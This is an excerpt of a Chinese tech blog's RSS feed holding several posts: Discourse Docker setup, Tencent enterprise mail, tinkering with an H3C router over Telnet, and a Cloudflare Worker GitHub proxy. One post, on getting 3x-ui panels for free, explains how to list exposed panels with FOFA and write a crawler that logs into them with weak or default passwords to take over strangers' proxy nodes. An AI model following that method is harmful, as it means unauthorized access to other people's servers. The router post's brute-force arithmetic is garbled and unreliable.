# 使用 postgresql-client 为 Discourse 创建数据库
- POSTGRESQL_CLIENT_POSTGRES_USER=postgres
- POSTGRESQL_CLIENT_POSTGRES_PASSWORD=admin12345
- POSTGRESQL_CLIENT_CREATE_DATABASE_NAME=example_discourse
- POSTGRESQL_CLIENT_CREATE_DATABASE_EXTENSIONS=hstore,pg_trgm
# SMTP
- DISCOURSE_SMTP_HOST=smtp.mailgun.org
- DISCOURSE_SMTP_PORT=587
- DISCOURSE_SMTP_USER=邮箱用户名
- DISCOURSE_SMTP_PASSWORD=邮箱密码
- DISCOURSE_SMTP_PROTOCOL=tls或ssl
- DISCOURSE_SMTP_AUTH=login
sidekiq:
image: docker.io/bitnami/discourse:2
depends_on:
- discourse
volumes:
- &apos;sidekiq_data:/bitnami/discourse&apos;
command: /opt/bitnami/scripts/discourse-sidekiq/run.sh
environment:
# 用户和站点配置
- DISCOURSE_HOST=example.com
- DISCOURSE_USERNAME=siteadmin
- DISCOURSE_PASSWORD=siteadmin12345
- DISCOURSE_EMAIL=siteadmin@gmail.com
# 数据库连接配置
- DISCOURSE_DATABASE_HOST=postgresql
- DISCOURSE_DATABASE_PORT_NUMBER=5432
- DISCOURSE_DATABASE_USER=ex_discourse
- DISCOURSE_DATABASE_PASSWORD=user12345
- DISCOURSE_DATABASE_NAME=example_discourse
# Redis 连接配置
- DISCOURSE_REDIS_HOST=redis
- DISCOURSE_REDIS_PORT_NUMBER=6379
- DISCOURSE_REDIS_PASSWORD=redis12345
# SMTP
- DISCOURSE_SMTP_HOST=smtp.mailgun.org
- DISCOURSE_SMTP_PORT=587
- DISCOURSE_SMTP_USER=邮箱用户名
- DISCOURSE_SMTP_PASSWORD=邮箱密码
- DISCOURSE_SMTP_PROTOCOL=tls或ssl
- DISCOURSE_SMTP_AUTH=login
volumes:
postgresql_data:
driver: local
redis_data:
driver: local
discourse_data:
driver: local
sidekiq_data:
driver: local
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;需要修改的部分。配置文件中两份都要改&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;需替换值&lt;/th&gt;
&lt;th&gt;解释&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;admin12345&lt;/td&gt;
&lt;td&gt;数据库管理员密码(可选)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ex_discourse&lt;/td&gt;
&lt;td&gt;数据库用户名(可选)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;user12345&lt;/td&gt;
&lt;td&gt;数据库用户密码(可选)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;example_discourse&lt;/td&gt;
&lt;td&gt;数据库名(可选)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;redis12345&lt;/td&gt;
&lt;td&gt;Redis 密码(可选)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;127.0.0.1:880&lt;/td&gt;
&lt;td&gt;映射端口(可选)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;example.com&lt;/td&gt;
&lt;td&gt;网站IP或域名(不加HTTP)&lt;strong&gt;必改&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;siteadmin&lt;/td&gt;
&lt;td&gt;网站管理员用户名(&lt;strong&gt;必改&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;siteadmin12345&lt;/td&gt;
&lt;td&gt;网站管理员密码(&lt;strong&gt;必改&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;siteadmin@gmail.com&lt;/td&gt;
&lt;td&gt;网站管理员邮箱(&lt;strong&gt;必改&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;smtp.mailgun.org&lt;/td&gt;
&lt;td&gt;邮箱HOST&lt;strong&gt;必改&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;587&lt;/td&gt;
&lt;td&gt;邮箱端口。只能用587端口&lt;strong&gt;必改&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;邮箱用户名&lt;/td&gt;
&lt;td&gt;邮箱用户名(&lt;strong&gt;必改&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;邮箱密码&lt;/td&gt;
&lt;td&gt;邮箱密码(或者授权码)(&lt;strong&gt;必改&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;tls&lt;/td&gt;
&lt;td&gt;邮箱协议。只能用TLS协议&lt;strong&gt;必改&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;如果需要一个支持SMTP TLS的邮箱服务可以使用&lt;a href=&quot;/posts/exmail-qq/&quot;&gt;微信企业邮&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;构建:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker compose up -d
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果遇到 &lt;code&gt;docker.io&lt;/code&gt; 无法访问。可以使用镜像源&lt;/p&gt;
&lt;p&gt;部署完毕后查看 &lt;code&gt;discourse-discourse-1&lt;/code&gt; 容器的日志&lt;/p&gt;
&lt;p&gt;如果看到下述日志则Discourse正在进行预编译资源稍等几分钟即可&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;INFO ==&amp;gt; Precompiling assets, this may take some time...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果看到下述日志证明Discourse已经在容器内3000端口启动了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Accessible via: http://0.0.0.0:3000/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接下来访问你设置的域名如果没有做解析或者网站在内网可以使用Cloudflare Tunnel曲线救国&lt;/p&gt;
&lt;p&gt;访问,大功告成&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-05-02-22-20-51-image.xdQFbSEg.png&quot; alt=&quot;2025-05-02-22-20-51-image.png&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>手把手教你用上微信企业(域名)邮箱(免费!)</title><link>https://blog.acofork.com/posts/exmail-qq/</link><guid isPermaLink="true">https://blog.acofork.com/posts/exmail-qq/</guid><description>非常简单只需要改几个MX记录就行~</description><pubDate>Fri, 02 May 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;前情提要&lt;/h1&gt;
&lt;p&gt;之前我写过一篇&lt;a href=&quot;/posts/163-free-domain-email/&quot;&gt;网易企业邮&lt;/a&gt;的文章但真的投入使用后发现各种毛病是层出不穷。比如SMTP/IMAP/POP3默认是关的你想打开就弹出一个 &lt;code&gt;管理员未开启当前登录权限&lt;/code&gt; ...&lt;/p&gt;
&lt;p&gt;我TM是不是管理员啊你倒是TM告诉我TMD这个在哪开啊&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-05-02-20-54-05-image.CwhX9d9B.png&quot; alt=&quot;2025-05-02-20-54-05-image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-05-02-20-54-18-image.ybp5xSGs.png&quot; alt=&quot;2025-05-02-20-54-18-image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;而微信企业邮完美解决了这些问题开启SMTP/IMAP/POP3服务非常简单而且也没有网易那么草台&lt;/p&gt;
&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;p&gt;首先进入 &lt;a href=&quot;https://work.weixin.qq.com/mail/&quot;&gt;腾讯企业邮箱&lt;/a&gt; 创建一个企业,会让你绑定企业微信,按照步骤弄好就行&lt;/p&gt;
&lt;p&gt;接下来绑定域名添加几条MX记录即可&lt;/p&gt;
&lt;p&gt;最后是重头戏开启SMTP/IMAP/POP3&lt;/p&gt;
&lt;p&gt;我们需要前往 &lt;a href=&quot;https://exmail.qq.com/login&quot;&gt;腾讯企业邮箱-登录入口&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;注意,这里点击 &lt;code&gt;其他方式登录&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-05-02-20-57-24-image.DnG0i4dw.png&quot; alt=&quot;2025-05-02-20-57-24-image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后选择账号密码登录&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-05-02-20-57-44-image.CCD3acAO.png&quot; alt=&quot;2025-05-02-20-57-44-image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接着选择成员登录(如果直接进去了就跳过这一步)&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-05-02-20-59-22-image.CKE9Ad2l.png&quot; alt=&quot;2025-05-02-20-59-22-image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来左上角点击设置&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-05-02-21-00-08-image.DkpLqn-A.png&quot; alt=&quot;2025-05-02-21-00-08-image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;收发信设置&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-05-02-21-00-31-image.ByIbo2na.png&quot; alt=&quot;2025-05-02-21-00-31-image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里就能查看到SMTP和IMAP的地址和端口实测TLS也是支持的只是它没写&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-05-02-21-01-07-image.3qJcufid.png&quot; alt=&quot;2025-05-02-21-01-07-image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来前往邮箱绑定&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-05-02-21-01-36-image.B-tVYis0.png&quot; alt=&quot;2025-05-02-21-01-36-image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;生成新密码&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-05-02-21-01-57-image.Bm4ngrCy.png&quot; alt=&quot;2025-05-02-21-01-57-image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接着随便找一个邮箱客户端去测试即可&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://eo-r2.2x.nz/myblog/img/2025-05-02-21-03-17-Screenshot_2025-05-02-21-02-29-86.png&quot; alt=&quot;2025-05-02-21-03-17-Screenshot_2025-05-02-21-02-29-86.jpg&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://eo-r2.2x.nz/myblog/img/2025-05-02-21-03-45-Screenshot_2025-05-02-21-03-32-54_6cf654f91021b6b.png&quot; alt=&quot;2025-05-02-21-03-45-Screenshot_2025-05-02-21-03-32-54_6cf654f91021b6b.jpg&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接着你就可以拿这个邮箱给你的博客论坛用啦&lt;/p&gt;
</content:encoded></item><item><title>关于我对路由器瞎改一通让网速变快了这档事</title><link>https://blog.acofork.com/posts/h3c-debug/</link><guid isPermaLink="true">https://blog.acofork.com/posts/h3c-debug/</guid><description>我家是H3C路由器虽然他是OpenWRT的系统但是却没法直接刷成iStoreOS但是偶然一天我发现他有Telnet于是...</description><pubDate>Fri, 02 May 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;前情提要&lt;/h1&gt;
&lt;p&gt;起因是我经常使用的Cloudflare梯子访问速度变慢而且经常被RST重置。买了个小鸡后自己搭了个Reality的梯子还是经常掉线甚至HTTP协议的面板访问都超时。于是我便开始鼓捣起路由器&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-05-02-04-25-12-image.WmJzJvN3.png&quot; alt=&quot;2025-05-02-04-25-12-image.png&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;小插曲 - 光猫桥接的坏处&lt;/h3&gt;
&lt;p&gt;在我研究的时候突然就上不了网了往H3C路由器后台一看发现PPPoE拨号显示服务器无响应&lt;/p&gt;
&lt;p&gt;我思考了一下,我现在的网络架构是光猫桥接,路由器拨号,现在路由器拨号显示服务器无响应。暂时还不知道是什么问题,最好的方法是去光猫后台看看&lt;/p&gt;
&lt;p&gt;然后我就在浏览器输入 &lt;code&gt;192.168.1.1&lt;/code&gt; 然后看着他转啊转,转啊转,然后连接超时&lt;/p&gt;
&lt;p&gt;我又一想对啊光猫桥接路由拨号那么路由器必然不在光猫管理后台的网段自然也就没法通过路由器的WiFi进入光猫的后台后面发现并非如此&lt;/p&gt;
&lt;p&gt;然后我就又思考我记得光猫是开启了WiFi的一找还真有连一下忘记密码了试了好几遍也不行&lt;/p&gt;
&lt;p&gt;那么既然暂时连不上光猫的WiFi那我就物理接触一下光猫吧🤔&lt;/p&gt;
&lt;p&gt;一看时间凌晨1点光猫在隔壁房间还有人睡觉呢那看来这个法子也行不通&lt;/p&gt;
&lt;p&gt;暴力破解一下吧算了一下哪怕是4位数字排列组合也有78,074,896种可能而且对面光猫也不会秒响应至少要等个3秒那么算下来就是我最差需要花费234,224,688秒也就是3,903,744.8分钟65,062.41333333333小时2,710.933888888889天。额...算了吧&lt;/p&gt;
&lt;p&gt;继续思考,既然光猫和路由器是物理连接上的,那么我改改路由器的设置是不是能连上光猫呢?&lt;/p&gt;
&lt;p&gt;我觉得行得通但是问了AI给我扯了一堆乱七八糟的结果是行不通其实行得通&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-05-02-04-05-45-image.Dqsirms3.png&quot; alt=&quot;2025-05-02-04-05-45-image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后就是乱七八糟的尝试。终于我发现,&lt;strong&gt;将路由器改为静态IP模式将IP改为192.168.1.2网关改为192.168.1.1的时候成功进入了192.168.1.1,也就是光猫的后台&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;然后一查看PON链路连接状态未连接&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://eo-r2.2x.nz/myblog/img/2025-05-02-04-07-34-ea6cb596e8abff1d34736282716a222f_720.png&quot; alt=&quot;2025-05-02-04-07-34-ea6cb596e8abff1d34736282716a222f_720.jpg&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这一般是光纤松了,但是我现在也摸不到光猫啊&lt;/p&gt;
&lt;p&gt;思考到这的我决定睡觉吧,睡一觉就好了&lt;/p&gt;
&lt;p&gt;结果2小时后它自己好了...&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-05-02-04-09-30-image.DzrKwoGl.png&quot; alt=&quot;2025-05-02-04-09-30-image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://eo-r2.2x.nz/myblog/img/2025-05-02-04-09-33-7e66540d3f1540de42cd16fd7d976a62.png&quot; alt=&quot;2025-05-02-04-09-33-7e66540d3f1540de42cd16fd7d976a62.jpg&quot; /&gt;&lt;/p&gt;
&lt;p&gt;插曲 End&lt;/p&gt;
&lt;h1&gt;行动一通过Telnet登录路由器&lt;/h1&gt;
&lt;p&gt;其实我早就知道这个H3C路由器可以打开Telnet并且登录进去过知道它是OpenWRT但是因为这个机子不能刷机而且OpenWRT版本在15.05.1在2025-05-02最新稳定版的OpenWRT版本为24.10.0)😅&lt;/p&gt;
&lt;p&gt;姑且说一下H3C家用终端怎么开Telnet吧&lt;/p&gt;
&lt;p&gt;进入下述网址你就能看到Telnet开关打开即可&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://192.168.124.1/debug.asp
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-05-02-04-14-04-image.c0OJtivr.png&quot; alt=&quot;2025-05-02-04-14-04-image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;顺带一提&lt;/p&gt;
&lt;p&gt;NAT转换方式为三元组最开放。其他看不懂的东西建议不要动&lt;/p&gt;
&lt;p&gt;接着就是通过Telnet登录路由器了&lt;/p&gt;
&lt;p&gt;H3C的Telnet端口为15000登录进去后是这样&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-05-02-04-15-54-image.BpOSv2GB.png&quot; alt=&quot;2025-05-02-04-15-54-image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这个界面下我也不知道有啥能操作的,接着输入 &lt;code&gt;debugshell&lt;/code&gt; 进入OpenWRT系统当成没有包管理器的Linux用就行[因为这系统太老了 opkg找不到任何软件源啥也装不了😅]&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-05-02-04-17-46-image.BFsPQlcy.png&quot; alt=&quot;2025-05-02-04-17-46-image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这下看懂了&lt;/p&gt;
&lt;h1&gt;行动二:找隐藏页面&lt;/h1&gt;
&lt;p&gt;既然有 &lt;code&gt;debug.asp&lt;/code&gt; 那是不是还有更多隐藏的页面呢&lt;/p&gt;
&lt;p&gt;首先看看这个系统里面都有啥&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-05-02-04-18-59-image.DaQYSXYH.png&quot; alt=&quot;2025-05-02-04-18-59-image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;发现了 &lt;code&gt;www&lt;/code&gt; 目录,进入看看&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-05-02-04-19-43-image.BxfJ4rwb.png&quot; alt=&quot;2025-05-02-04-19-43-image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;看来这就是供用户访问的Web服务的源但这里还有很多静态文件比如CSSPNG我们筛选一下 &lt;code&gt;.asp&lt;/code&gt; 文件&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-05-02-04-21-10-image.hKa5YiYp.png&quot; alt=&quot;2025-05-02-04-21-10-image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;挨个访问看看,有不少隐藏的页面&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-05-02-04-21-48-ee25e30ecca07bf2d1ba4251809dd4d3.t1flmBj2.png&quot; alt=&quot;2025-05-02-04-21-48-ee25e30ecca07bf2d1ba4251809dd4d3.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-05-02-04-21-52-f2dba1c3e41f7bad4fa940eb81eb3122.Byladlvw.png&quot; alt=&quot;2025-05-02-04-21-52-f2dba1c3e41f7bad4fa940eb81eb3122.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-05-02-04-21-56-bb2477a30fcc13f293cb87ba4fe48c66.CGDdAlcp.png&quot; alt=&quot;2025-05-02-04-21-56-bb2477a30fcc13f293cb87ba4fe48c66.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-05-02-04-22-01-c2cac252a281573c0a3929d4fe74df65.DmH6ov-N.png&quot; alt=&quot;2025-05-02-04-22-01-c2cac252a281573c0a3929d4fe74df65.png&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;行动三瞎JB乱改&lt;/h1&gt;
&lt;p&gt;找到感觉影响了数据传输性能的设置比如什么防火墙、QOS、数据队列等等的乱改一通防火墙关QOS关数据队列顺序优先NAT类型FullCone防攻击关闭等等等等&lt;/p&gt;
&lt;h1&gt;最终行动:再次测试&lt;/h1&gt;
&lt;p&gt;似乎好了?我不知道,等白天再测测吧,也可能是心理作用&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-05-02-04-25-49-image.DMeb_jPF.png&quot; alt=&quot;2025-05-02-04-25-49-image.png&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;建议&lt;/h1&gt;
&lt;p&gt;家用路由器别买H3C😅&lt;/p&gt;
</content:encoded></item><item><title>白嫖免费的3x-ui面板</title><link>https://blog.acofork.com/posts/free-3xui/</link><guid isPermaLink="true">https://blog.acofork.com/posts/free-3xui/</guid><description>3x-ui面板是一个非常好用的代理面板很多人都在使用他如果有人使用的是默认密码...</description><pubDate>Thu, 01 May 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;p&gt;首先我们要先找到互联网上搭建了3x-ui的网站可以使用 &lt;a href=&quot;https://fofa.info/&quot;&gt;网络空间测绘,网络空间安全搜索引擎,网络空间搜索引擎,安全态势感知 - FOFA网络空间测绘系统&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-05-01-22-14-32-image.BNJdFyCZ.png&quot; alt=&quot;2025-05-01-22-14-32-image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;进入后我们搜索:&lt;code&gt;app=&quot;3x-ui&quot; &amp;amp;&amp;amp; region=&quot;HK&quot;&lt;/code&gt; 即寻找3x-ui网站并且地区为中国香港的&lt;/p&gt;
&lt;p&gt;接下来我们制作一个TXT文档里面全部都是搭建了3x-ui的网站如图&lt;img src=&quot;https://blog.acofork.com/_astro/8b9390ec-61b0-4f78-8d76-aa2b7cb136e5.MGBYPCOT.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后我们就要找到3x-ui的登录原理&lt;/p&gt;
&lt;p&gt;通过正常登录可知,他会请求 &lt;code&gt;/login&lt;/code&gt; 并且以 &lt;code&gt;application/x-www-form-urlencoded; charset=UTF-8&lt;/code&gt; 格式发送请求体&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-05-01-22-10-39-image.CV_O8izE.png&quot; alt=&quot;2025-05-01-22-10-39-image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来让我们查看请求体,非常简单!只有一个 &lt;code&gt;username&lt;/code&gt;&lt;code&gt;password&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-05-01-22-12-14-image.sWQAllQ8.png&quot; alt=&quot;2025-05-01-22-12-14-image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后让我们在Postman中模拟请求...完全没有问题!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-05-01-22-12-46-f6cec50c16c94c50acc0e23150edde22.BRfwO_hX.png&quot; alt=&quot;2025-05-01-22-12-46-f6cec50c16c94c50acc0e23150edde22.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来就可以编写爬虫了!&lt;/p&gt;
&lt;p&gt;大致原理依次请求TXT内的网站并且模拟登录如果弱口令登录成功并且网站返回登录成功的JSON就将它记录到另一个TXT。循环结束后就能得到非常非常多的白嫖的节点了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-05-01-22-16-13-image.Qb_7Oolg.png&quot; alt=&quot;2025-05-01-22-16-13-image.png&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>浏览器JS运行原理</title><link>https://blog.acofork.com/posts/browser-run-js/</link><guid isPermaLink="true">https://blog.acofork.com/posts/browser-run-js/</guid><description>本文深度剖析浏览器的JS运行原理以及浏览器内部事件处理的根本操作事件循环</description><pubDate>Fri, 25 Apr 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;引言以下JS代码运行的结果是什么&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;function a() {
console.log(&quot;1&quot;);
Promise.resolve().then(() =&amp;gt; {
console.log(&quot;2&quot;);
});
}
setTimeout(function () {
console.log(&quot;3&quot;);
Promise.resolve().then(a);
}, 0);
Promise.resolve().then(function () {
console.log(&quot;4&quot;);
});
console.log(&quot;5&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;浏览器是如何按部就班执行命令的?&lt;/h1&gt;
&lt;p&gt;浏览器的所有操作都由&lt;strong&gt;渲染主线程&lt;/strong&gt;执行,渲染主线程将创建一个无限循环的任务执行已有的任务,当渲染主线程无任务时将从&lt;strong&gt;消息队列&lt;/strong&gt;中拿取新的任务执行。&lt;strong&gt;所有任务遵循先来后到,不允许插队执行&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;视频分析:&lt;/p&gt;
&lt;p&gt;&amp;lt;iframe src=&quot;//player.bilibili.com/player.html?isOutside=true&amp;amp;aid=114398232385591&amp;amp;bvid=BV1VpLJzPEBp&amp;amp;cid=29606019473&amp;amp;p=1&quot; scrolling=&quot;no&quot; border=&quot;0&quot; frameborder=&quot;no&quot; framespacing=&quot;0&quot; allowfullscreen=&quot;true&quot;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;/p&gt;
</content:encoded></item><item><title>使用Cloudflare Worker搭建Github全站代理防钓鱼</title><link>https://blog.acofork.com/posts/gh-proxy/</link><guid isPermaLink="true">https://blog.acofork.com/posts/gh-proxy/</guid><description>使用CF Worker进行Github全站代理并且防止网站被Cloudflare投诉为钓鱼网站。同时这也是一个通用的二次重写反代</description><pubDate>Tue, 15 Apr 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;项目原理&lt;/h1&gt;
&lt;p&gt;针对于Github这样的网站我们无法仅使用一个透明的反向代理指向 &lt;code&gt;Github.com&lt;/code&gt; 来解决因为Github官网还有许多外域依赖比如 &lt;code&gt;raw.githubusercontent.com&lt;/code&gt; 所以我们还需要写一个逻辑让Worker重写Github传回的HTML将其中的外域改为我们自己的域同时建立多个解析替代&lt;/p&gt;
&lt;p&gt;假如说原来用户访问:&lt;/p&gt;
&lt;p&gt;用户 -&amp;gt; github.com -&amp;gt; raw.githubusercontent.com被github.com请求&lt;/p&gt;
&lt;p&gt;那么我们的代理就是&lt;/p&gt;
&lt;p&gt;用户 -&amp;gt; gh.072103.xyz -&amp;gt; raw-githubusercontent-com.072103.xyz被gh.072103.xyz请求&lt;/p&gt;
&lt;p&gt;然后针对于 gh.072103.xyz 的请求由Worker反代到 github.com而针对于 raw-githubusercontent-com.072103.xyz 的请求由Worker反代到 raw.githubusercontent.com&lt;/p&gt;
&lt;p&gt;注意!这样去反代主流网站后,不久你的网站就会被标记为(钓鱼站点),因为你原封不动的克隆了人家站点并且 &lt;strong&gt;没有显式屏蔽登录页面&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;所以接下来我们需要找到原站点的所有登录页逐一屏蔽对于Github.com我们需要屏蔽&lt;/p&gt;
&lt;p&gt;&lt;code&gt;/&lt;/code&gt; &lt;code&gt;/login&lt;/code&gt; &lt;code&gt;/signup&lt;/code&gt; &lt;code&gt;copilot&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;你可以将其直接导向404或者重定向到另外的网站&lt;strong&gt;只要不让你的用户能在你的反代网站上能登录就可以&lt;/strong&gt;&lt;/p&gt;
&lt;h1&gt;正式部署&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;教程视频: https://www.bilibili.com/video/BV1jGd6YpE8z&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;进入 dash.cloudflare.com&lt;/p&gt;
&lt;p&gt;创建新Worker选择Hello World模板&lt;/p&gt;
&lt;p&gt;前往 &lt;a href=&quot;https://github.com/afoim/GithubSiteProxyForCloudflareWorker&quot;&gt;GitHub - afoim/GithubSiteProxyForCloudflareWorker: 这是一个基于Cloudflare Workers的GitHub代理服务允许通过替代域名访问GitHub资源解决某些网络环境下GitHub访问受限的问题。代理服务通过域名映射和资源转发提供无缝的GitHub浏览体验。&lt;/a&gt; 复制 &lt;code&gt;worker.js&lt;/code&gt; 代码粘贴到你的Worker&lt;/p&gt;
&lt;p&gt;观察域名配置&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 域名映射配置
const domain_mappings = {
&apos;github.com&apos;: &apos;gh.&apos;,
&apos;avatars.githubusercontent.com&apos;: &apos;avatars-githubusercontent-com.&apos;,
&apos;github.githubassets.com&apos;: &apos;github-githubassets-com.&apos;,
&apos;collector.github.com&apos;: &apos;collector-github-com.&apos;,
&apos;api.github.com&apos;: &apos;api-github-com.&apos;,
&apos;raw.githubusercontent.com&apos;: &apos;raw-githubusercontent-com.&apos;,
&apos;gist.githubusercontent.com&apos;: &apos;gist-githubusercontent-com.&apos;,
&apos;github.io&apos;: &apos;github-io.&apos;,
&apos;assets-cdn.github.com&apos;: &apos;assets-cdn-github-com.&apos;,
&apos;cdn.jsdelivr.net&apos;: &apos;cdn.jsdelivr-net.&apos;,
&apos;securitylab.github.com&apos;: &apos;securitylab-github-com.&apos;,
&apos;www.githubstatus.com&apos;: &apos;www-githubstatus-com.&apos;,
&apos;npmjs.com&apos;: &apos;npmjs-com.&apos;,
&apos;git-lfs.github.com&apos;: &apos;git-lfs-github-com.&apos;,
&apos;githubusercontent.com&apos;: &apos;githubusercontent-com.&apos;,
&apos;github.global.ssl.fastly.net&apos;: &apos;github-global-ssl-fastly-net.&apos;,
&apos;api.npms.io&apos;: &apos;api-npms-io.&apos;,
&apos;github.community&apos;: &apos;github-community.&apos;
